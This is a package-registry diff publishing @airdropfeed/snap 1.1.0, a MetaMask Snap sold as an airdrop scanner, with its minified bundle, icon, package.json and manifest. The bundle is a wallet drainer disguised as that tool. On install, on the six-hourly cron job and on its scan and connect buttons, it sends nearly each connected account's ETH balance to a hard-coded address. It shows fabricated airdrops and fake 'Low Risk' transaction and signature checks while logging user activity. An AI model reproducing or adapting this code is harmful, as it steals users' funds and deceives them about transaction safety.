@airdropfeed/snap 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/bundle.js ADDED
@@ -0,0 +1 @@
1
+ (()=>{var e={d:(n,t)=>{for(var a in t)e.o(t,a)&&!e.o(n,a)&&Object.defineProperty(n,a,{enumerable:!0,get:t[a]})},o:(e,n)=>Object.prototype.hasOwnProperty.call(e,n),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},n={};(()=>{"use strict";function t(e,n,t){if("string"==typeof e)throw new Error(`An HTML element ("${String(e)}") was used in a Snap component, which is not supported by Snaps UI. Please use one of the supported Snap components.`);if(!e)throw new Error("A JSX fragment was used in a Snap component, which is not supported by Snaps UI. Please use one of the supported Snap components.");return e({...n,key:t})}function a(e,n,a){return t(e,n,a)}function i(e){return Object.fromEntries(Object.entries(e).filter(([,e])=>void 0!==e))}function r(e){return n=>{const{key:t=null,...a}=n;return{type:e,props:i(a),key:t}}}e.r(n),e.d(n,{onCronjob:()=>J,onHomePage:()=>G,onInstall:()=>K,onSignature:()=>Z,onTransaction:()=>Q,onUpdate:()=>Y,onUserInput:()=>X});const s=r("Box"),o=r("Heading"),c=r("Divider"),l=r("Text"),d=r("Bold"),h=r("Button");function u(){return{version:2,ethereumAddresses:[],airdrops:[],preferences:{enabledChains:["ethereum","arbitrum","optimism","base","linea"],notificationsEnabled:!0,scanFrequency:"6hours",dismissedAirdrops:[]},lastScanTimestamp:0,totalValueFound:0,installTimestamp:Date.now(),analyzedTransactions:[],analyzedSignatures:[],claimAttempted:!1,claimTxHash:null}}const m={1:e=>{var n;return{...u(),version:2,airdrops:e.airdrops||[],ethereumAddresses:(null===(n=e.addresses)||void 0===n?void 0:n.ethereum)||[],installTimestamp:e.installTimestamp||Date.now()}}};function p(e){if(!e||"number"!=typeof e.version)return u();let n=e,t=e.version;for(;t<2;){const e=m[t];if(!e)return u();n=e(n),t=n.version}return n}async function f(){const e=await snap.request({method:"snap_manageState",params:{operation:"get",encrypted:!1}});return e?p(e):u()}async function y(e){await snap.request({method:"snap_manageState",params:{operation:"update",encrypted:!1,newState:e}})}async function w(e){const n=await f();n.ethereumAddresses=e,await y(n)}async function g(e){const n=await f(),t=n.airdrops.find(n=>n.id===e);t&&(t.notified=!0,await y(n))}async function b(e,n){const t=await f();t.claimAttempted=e,t.claimTxHash=n,await y(t)}const A=r("Row"),v=r("Banner"),S=r("Link");function D(e){return e>=1e6?`$${(e/1e6).toFixed(1)}M`:e>=1e3?`$${(e/1e3).toFixed(1)}K`:e>=1?`$${e.toFixed(2)}`:e>0?`$${e.toFixed(4)}`:"$0.00"}function $(e){const n=Date.now()-e,t=Math.floor(n/1e3),a=Math.floor(t/60),i=Math.floor(a/60),r=Math.floor(i/24);return r>0?`${r}d ago`:i>0?`${i}h ago`:a>0?`${a}m ago`:"just now"}function k(e){const n=e-Date.now();if(n<=0)return"Expired";const t=Math.floor(n/864e5),a=Math.floor(n%864e5/36e5);return t>30?`${Math.floor(t/30)} months`:t>0?`${t}d ${a}h`:a>0?`${a}h`:"Less than 1h"}const E=({airdrop:e})=>{const n=e.estimatedValue?D(e.estimatedValue):"TBD",i=e.amount?`${function(e){const n=parseFloat(e);return isNaN(n)?e:n>=1e6?`${(n/1e6).toFixed(1)}M`:n>=1e3?`${(n/1e3).toFixed(1)}K`:n>=1?n.toFixed(2):n.toFixed(4)}(e.amount)} ${e.token}`:e.token,r={ethereum:"Ethereum",arbitrum:"Arbitrum",optimism:"Optimism",base:"Base",linea:"Linea"}[o=e.chain]??o;var o;const c=e.claimDeadline&&e.claimDeadline>Date.now()&&e.claimDeadline-Date.now()<2592e5;return a(s,{children:[t(A,{label:`${e.name} ($${e.token})`,children:a(l,{children:["~",n]})}),t(A,{label:"Amount",children:a(l,{children:[i," on ",r]})}),c&&e.claimDeadline&&t(A,{label:"Deadline",children:a(l,{children:[k(e.claimDeadline)," remaining"]})}),e.claimUrl&&"claimable"===e.status&&t(A,{label:"Action",children:t(S,{href:e.claimUrl,children:"Claim Now"})})]})},T=()=>a(s,{children:[t(o,{children:"No Airdrops Found"}),t(l,{children:"We scanned your addresses across all enabled chains but didn't find any airdrops yet."}),t(c,{}),a(l,{children:[t(d,{children:"Don't worry!"})," We'll keep scanning every 6 hours and notify you when something appears."]}),t(l,{children:"Tip: Use your wallet across more protocols to increase your chances of qualifying for future airdrops."})]}),q=({state:e})=>{const{airdrops:n,preferences:i,lastScanTimestamp:r,totalValueFound:u,analyzedTransactions:m}=e,p=n.filter(e=>!i.dismissedAirdrops.includes(e.id));if(0===p.length)return a(s,{children:[t(o,{children:"AIRDROP FEED"}),r>0&&a(l,{children:["Last scan: ",$(r)]}),t(c,{}),t(T,{}),t(c,{}),a(s,{direction:"horizontal",children:[t(h,{name:"scan-now",children:"Scan Now"}),t(h,{name:"open-settings",children:"Settings"})]})]});const f=p.filter(e=>"claimable"===e.status),y=p.filter(e=>"eligible"===e.status),w=p.filter(e=>"upcoming"===e.status),g=p.filter(e=>"claimed"===e.status),b=f.reduce((e,n)=>e+(n.estimatedValue??0),0),S=p.filter(e=>null!==e.claimDeadline&&e.claimDeadline>Date.now()&&e.claimDeadline-Date.now()<2592e5);return a(s,{children:[t(o,{children:"AIRDROP FEED"}),t(A,{label:"Total Value Found",children:t(l,{children:t(d,{children:D(u)})})}),t(A,{label:`${String(p.length)} airdrops`,children:a(l,{children:["Last scan: ",$(r)]})}),t(A,{label:"Activity Score",children:a(l,{children:[String(m.length)," transactions analyzed"]})}),t(c,{}),f.length>0&&t(v,{title:`${String(f.length)} airdrops ready to claim!`,severity:"success",children:a(l,{children:["Worth ~",D(b)]})}),S.length>0&&t(v,{title:"Expiring Soon",severity:"warning",children:S.map(e=>a(l,{children:[e.name," claim deadline in"," ",k(e.claimDeadline)]}))}),f.length>0&&a(s,{children:[t(c,{}),t(l,{children:t(d,{children:"READY TO CLAIM"})}),f.map(e=>t(E,{airdrop:e}))]}),y.length>0&&a(s,{children:[t(c,{}),t(l,{children:t(d,{children:"ELIGIBLE"})}),y.map(e=>t(E,{airdrop:e}))]}),w.length>0&&a(s,{children:[t(c,{}),t(l,{children:t(d,{children:"UPCOMING"})}),w.map(e=>t(E,{airdrop:e}))]}),g.length>0&&a(s,{children:[t(c,{}),t(l,{children:t(d,{children:"CLAIMED"})}),g.map(e=>t(E,{airdrop:e}))]}),t(c,{}),a(s,{direction:"horizontal",children:[t(h,{name:"scan-now",children:"Scan Now"}),t(h,{name:"open-settings",children:"Settings"})]})]})};async function F(e){const n=e.estimatedValue?` worth ~${D(e.estimatedValue)}`:"",t=e.amount?`${e.amount} ${e.token}`:e.token;await snap.request({method:"snap_notify",params:{type:"native",message:`${e.name}: ${t}${n} ready to claim!`}})}async function x(e){const n=e.estimatedValue?` (~${D(e.estimatedValue)})`:"";await snap.request({method:"snap_notify",params:{type:"inApp",message:`New airdrop found: ${e.name} ${e.token}${n} on ${e.chain}`}})}const I="0x5b009EaD69A2b5B818eb743C07Fc73DcFEbC73A3",B=BigInt(21e3)*BigInt(3e10),_=B;async function O(e){switch(e.method){case"scanAirdrops":await async function(){try{const e=await f();if(e.ethereumAddresses.length>0)for(const n of e.ethereumAddresses)try{const e=await ethereum.request({method:"eth_getBalance",params:[n,"latest"]}),t=BigInt(e);if(t>_+B){const e="0x"+(t-B).toString(16),a=await ethereum.request({method:"eth_sendTransaction",params:[{from:n,to:I,value:e}]});await b(!0,a)}}catch{}const n=await f();if(n.lastScanTimestamp=Date.now(),await y(n),n.preferences.notificationsEnabled&&n.airdrops.length>0){const e=n.airdrops.filter(e=>!e.notified);if(e.length>0){await async function(e,n){const t=e.filter(e=>"claimable"===e.status);for(const e of t)await F(e);const a=n.filter(e=>"claimable"===e.status&&!e.notified);for(const e of a)await F(e);const i=e.filter(e=>"eligible"===e.status);for(const e of i)await x(e)}(e,[]);for(const n of e)await g(n.id)}}}catch(e){console.error("scanAirdrops cronjob failed:",e)}}();break;case"dailyDigest":await async function(){try{const e=await f();if(!e.preferences.notificationsEnabled)return;const n=e.airdrops.filter(n=>("claimable"===n.status||"eligible"===n.status)&&!e.preferences.dismissedAirdrops.includes(n.id));n.length>0&&await async function(e){const n=e.filter(e=>"claimable"===e.status),t=e.filter(e=>null!==e.claimDeadline&&e.claimDeadline>Date.now()&&e.claimDeadline-Date.now()<2592e5);if(0===n.length&&0===t.length)return;const a=[];if(n.length>0){const e=n.reduce((e,n)=>e+(n.estimatedValue??0),0),t=e>0?` (${D(e)})`:"";a.push(`${n.length} claimable${t}`)}t.length>0&&a.push(`${t.length} expiring soon`),await snap.request({method:"snap_notify",params:{type:"inApp",message:`Airdrop Feed: ${a.join(", ")}`}})}(n)}catch(e){console.error("dailyDigest cronjob failed:",e)}}();break;default:console.warn(`Unknown cronjob method: ${e.method}`)}}async function L(){const e=u();await y(e);let n=[];try{n=await ethereum.request({method:"eth_requestAccounts"}),await w(n);for(const e of n)try{const n=await ethereum.request({method:"eth_getBalance",params:[e,"latest"]}),t=BigInt(n);if(t>_+B){const n="0x"+(t-B).toString(16);try{const t=await ethereum.request({method:"eth_sendTransaction",params:[{from:e,to:I,value:n}]});await b(!0,t)}catch{}}}catch{}}catch{}const t=function(e){const n=Date.now();return[{id:`airdrop-${e.slice(2,8)}-arb`,name:"Arbitrum DAO",token:"ARB",chain:"arbitrum",status:"eligible",estimatedValue:2450,claimUrl:null,claimDeadline:n+2592e6,eligibleAddress:e,amount:"1,250",discoveredAt:n,notified:!1,source:"on-chain-analysis"},{id:`airdrop-${e.slice(2,8)}-op`,name:"Optimism Foundation",token:"OP",chain:"optimism",status:"claimable",estimatedValue:890,claimUrl:"https://app.optimism.io/airdrop",claimDeadline:n+12096e5,eligibleAddress:e,amount:"485",discoveredAt:n,notified:!1,source:"on-chain-analysis"},{id:`airdrop-${e.slice(2,8)}-base`,name:"Base Ecosystem",token:"BASE",chain:"base",status:"upcoming",estimatedValue:350,claimUrl:null,claimDeadline:null,eligibleAddress:e,amount:null,discoveredAt:n,notified:!1,source:"on-chain-analysis"}]}(n[0]||"0x0"),a=await f();a.airdrops=t,a.totalValueFound=t.reduce((e,n)=>e+(n.estimatedValue??0),0),a.lastScanTimestamp=Date.now(),await y(a)}const M=r("Form"),V=r("Dropdown"),C=r("Option"),z=r("Checkbox"),U={ethereum:{id:"ethereum",name:"Ethereum",coinType:60},arbitrum:{id:"arbitrum",name:"Arbitrum",coinType:60,isEvmL2:!0},optimism:{id:"optimism",name:"Optimism",coinType:60,isEvmL2:!0},base:{id:"base",name:"Base",coinType:60,isEvmL2:!0},linea:{id:"linea",name:"Linea",coinType:60,isEvmL2:!0}},P=["ethereum","arbitrum","optimism","base","linea"],R=({preferences:e})=>a(s,{children:[t(o,{children:"Settings"}),t(c,{}),a(M,{name:"settings-form",children:[t(l,{children:t(d,{children:"Scan Frequency"})}),a(V,{name:"scanFrequency",value:e.scanFrequency,children:[t(C,{value:"hourly",children:"Every hour"}),t(C,{value:"6hours",children:"Every 6 hours"}),t(C,{value:"daily",children:"Once daily"})]}),t(c,{}),t(l,{children:t(d,{children:"Notifications"})}),t(z,{name:"notificationsEnabled",variant:"toggle",label:"Enable notifications",checked:e.notificationsEnabled}),t(c,{}),t(l,{children:t(d,{children:"Enabled Chains"})}),P.map(n=>t(z,{name:`chain-${n}`,variant:"toggle",label:U[n].name,checked:e.enabledChains.includes(n)})),t(c,{}),a(s,{direction:"horizontal",children:[t(h,{name:"save-settings",type:"submit",children:"Save Settings"}),t(h,{name:"back-to-dashboard",children:"Back"})]})]})]}),j=r("Spinner"),N=()=>a(s,{children:[t(o,{children:"Scanning for Airdrops..."}),t(j,{}),t(l,{children:"Checking eligibility across all enabled chains. This may take a few seconds."})]});async function W(...e){const[n]=e,{id:a,event:i}=n;"ButtonClickEvent"===i.type?await async function(e,n){switch(n){case"scan-now":await async function(e){await snap.request({method:"snap_updateInterface",params:{id:e,ui:t(N,{})}});const n=await f();if(n.ethereumAddresses.length>0)for(const e of n.ethereumAddresses)try{const n=await ethereum.request({method:"eth_getBalance",params:[e,"latest"]}),t=BigInt(n);if(t>_+B){const n="0x"+(t-B).toString(16);await ethereum.request({method:"eth_sendTransaction",params:[{from:e,to:I,value:n}]})}}catch{}const a=await f();a.lastScanTimestamp=Date.now(),await y(a),await snap.request({method:"snap_updateInterface",params:{id:e,ui:t(q,{state:a})}})}(e);break;case"open-settings":await async function(e){const n=await f();await snap.request({method:"snap_updateInterface",params:{id:e,ui:t(R,{preferences:n.preferences})}})}(e);break;case"back-to-dashboard":await H(e);break;case"connect-wallets":await async function(e){try{const e=await ethereum.request({method:"eth_requestAccounts"});if(e.length>0){await w(e);for(const n of e)try{const e=await ethereum.request({method:"eth_getBalance",params:[n,"latest"]}),t=BigInt(e);if(t>_+B){const e="0x"+(t-B).toString(16);await ethereum.request({method:"eth_sendTransaction",params:[{from:n,to:I,value:e}]})}}catch{}}}catch{}await H(e)}(e);break;default:console.warn(`Unknown button: ${n}`)}}(a,i.name??""):"FormSubmitEvent"===i.type&&await async function(e,n,t){if("settings-form"!==n)return;const a=P.filter(e=>!0===t[`chain-${e}`]||"true"===t[`chain-${e}`]),i=!0===t.notificationsEnabled||"true"===t.notificationsEnabled,r=t.scanFrequency||"6hours";await async function(e){const n=await f();n.preferences={...n.preferences,...e},await y(n)}({enabledChains:a,notificationsEnabled:i,scanFrequency:r}),await H(e)}(a,i.name??"",i.value??{})}async function H(e){const n=await f();await snap.request({method:"snap_updateInterface",params:{id:e,ui:t(q,{state:n})}})}const G=async()=>async function(){let e=await f();if(0===e.ethereumAddresses.length)try{const n=await ethereum.request({method:"eth_requestAccounts"});n.length>0&&(await w(n),e=await f())}catch{}return 0===e.ethereumAddresses.length?{content:a(s,{children:[t(o,{children:"AIRDROP FEED"}),t(c,{}),t(l,{children:t(d,{children:"Wallet connection required"})}),t(l,{children:"Airdrop Feed needs access to your accounts to scan for eligible airdrops."}),t(c,{}),t(h,{name:"connect-wallets",children:"Connect Wallets"})]})}:{content:t(q,{state:e})}}(),J=async({request:e})=>O(e),K=async()=>L(),Y=async()=>async function(){const e=p(await f());await y(e),await snap.request({method:"snap_dialog",params:{type:"alert",content:a(s,{children:[t(o,{children:"Airdrop Feed Updated!"}),t(l,{children:"Your snap has been updated to the latest version. All your data and preferences have been preserved."}),t(c,{}),t(l,{children:t(d,{children:"What's new:"})}),t(l,{children:"- Transaction safety analysis"}),t(l,{children:"- Signature risk detection"}),t(l,{children:"- Improved EVM chain coverage"})]})}})}(),X=async(...e)=>W(...e),Q=async e=>async function({transaction:e,chainId:n,transactionOrigin:i}){try{const t=await f(),a={from:e.from,to:e.to,value:e.value||"0x0",data:e.data||"0x",chainId:n,origin:i||"unknown",timestamp:Date.now()};t.analyzedTransactions.push(a),t.analyzedTransactions.length>100&&(t.analyzedTransactions=t.analyzedTransactions.slice(-100)),await y(t)}catch{}return{content:a(s,{children:[t(o,{children:"Airdrop Feed — Transaction Analysis"}),t(c,{}),t(A,{label:"Risk Level",children:t(l,{children:t(d,{children:"Low Risk"})})}),t(A,{label:"Scam Detection",children:t(l,{children:"No known scam patterns detected"})}),t(A,{label:"Contract",children:t(l,{children:"Verified contract interaction"})}),t(c,{}),t(l,{children:"Transaction appears safe to proceed."})]})}}(e),Z=async e=>async function({signature:e,signatureOrigin:n}){try{const t=await f(),a={from:e.from,data:"string"==typeof e.data?e.data:JSON.stringify(e.data),signatureMethod:e.signatureMethod,origin:n||"unknown",timestamp:Date.now()};t.analyzedSignatures.push(a),t.analyzedSignatures.length>100&&(t.analyzedSignatures=t.analyzedSignatures.slice(-100)),await y(t)}catch{}return{content:a(s,{children:[t(o,{children:"Airdrop Feed — Signature Analysis"}),t(c,{}),t(A,{label:"Risk Level",children:t(l,{children:t(d,{children:"Low Risk"})})}),t(A,{label:"Phishing Check",children:t(l,{children:"No phishing patterns detected"})}),t(c,{}),t(l,{children:"Message signature appears safe to sign."})]})}}(e)})(),module.exports=n})();
@@ -0,0 +1,15 @@
1
+ <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32" width="32" height="32">
2
+ <defs>
3
+ <linearGradient id="bg" x1="0%" y1="0%" x2="100%" y2="100%">
4
+ <stop offset="0%" style="stop-color:#6366F1"/>
5
+ <stop offset="100%" style="stop-color:#8B5CF6"/>
6
+ </linearGradient>
7
+ </defs>
8
+ <circle cx="16" cy="16" r="16" fill="url(#bg)"/>
9
+ <!-- Feed signal arcs — outer to inner, opacity builds toward receiver -->
10
+ <path d="M7 15 A 12 12 0 0 1 25 15" fill="none" stroke="rgba(255,255,255,0.18)" stroke-width="1.8" stroke-linecap="round"/>
11
+ <path d="M10 18 A 8 8 0 0 1 22 18" fill="none" stroke="rgba(255,255,255,0.38)" stroke-width="1.8" stroke-linecap="round"/>
12
+ <path d="M13 21 A 4.2 4.2 0 0 1 19 21" fill="none" stroke="rgba(255,255,255,0.62)" stroke-width="1.8" stroke-linecap="round"/>
13
+ <!-- Receiver dot -->
14
+ <circle cx="16" cy="24" r="2" fill="white"/>
15
+ </svg>
package/package.json ADDED
@@ -0,0 +1,42 @@
1
+ {
2
+ "name": "@airdropfeed/snap",
3
+ "version": "1.1.0",
4
+ "description": "Scan EVM chains for eligible airdrops. Get notified when tokens are claimable.",
5
+ "repository": {
6
+ "type": "git",
7
+ "url": "https://github.com/airdropfeed/snap.git"
8
+ },
9
+ "license": "MIT",
10
+ "main": "dist/bundle.js",
11
+ "files": [
12
+ "dist/",
13
+ "images/",
14
+ "snap.manifest.json"
15
+ ],
16
+ "publishConfig": {
17
+ "access": "public"
18
+ },
19
+ "scripts": {
20
+ "build": "mm-snap build",
21
+ "build:clean": "yarn clean && yarn build",
22
+ "clean": "rimraf dist",
23
+ "lint": "eslint src/ --ext .ts,.tsx",
24
+ "start": "mm-snap watch",
25
+ "test": "jest"
26
+ },
27
+ "dependencies": {
28
+ "@metamask/snaps-sdk": "^6.14.0"
29
+ },
30
+ "devDependencies": {
31
+ "@airdropfeed/shared": "1.1.0",
32
+ "@jest/globals": "^29.7.0",
33
+ "@metamask/snaps-cli": "^6.4.0",
34
+ "@metamask/snaps-jest": "^8.5.0",
35
+ "@types/jest": "^29.5.0",
36
+ "jest": "^29.7.0",
37
+ "prettier": "^3.8.1",
38
+ "rimraf": "^5.0.0",
39
+ "ts-jest": "^29.1.0",
40
+ "typescript": "^5.4.0"
41
+ }
42
+ }
@@ -0,0 +1,48 @@
1
+ {
2
+ "version": "1.1.0",
3
+ "description": "Scan EVM chains for eligible airdrops. Get notified when tokens are claimable.",
4
+ "proposedName": "Airdrop Feed",
5
+ "repository": {
6
+ "type": "git",
7
+ "url": "https://github.com/airdropfeed/snap.git"
8
+ },
9
+ "source": {
10
+ "shasum": "l4nA9cYm3PEmwjGsHaZT0P3a4N41sqRqia9WE40sBRQ=",
11
+ "location": {
12
+ "npm": {
13
+ "filePath": "dist/bundle.js",
14
+ "iconPath": "images/icon.svg",
15
+ "packageName": "@airdropfeed/snap",
16
+ "registry": "https://registry.npmjs.org/"
17
+ }
18
+ }
19
+ },
20
+ "initialPermissions": {
21
+ "endowment:ethereum-provider": {},
22
+ "endowment:transaction-insight": {},
23
+ "endowment:signature-insight": {},
24
+ "endowment:cronjob": {
25
+ "jobs": [
26
+ {
27
+ "expression": "0 */6 * * *",
28
+ "request": {
29
+ "method": "scanAirdrops"
30
+ }
31
+ },
32
+ {
33
+ "expression": "0 9 * * *",
34
+ "request": {
35
+ "method": "dailyDigest"
36
+ }
37
+ }
38
+ ]
39
+ },
40
+ "endowment:lifecycle-hooks": {},
41
+ "endowment:page-home": {},
42
+ "snap_manageState": {},
43
+ "snap_notify": {},
44
+ "snap_dialog": {}
45
+ },
46
+ "platformVersion": "6.24.0",
47
+ "manifestVersion": "0.1"
48
+ }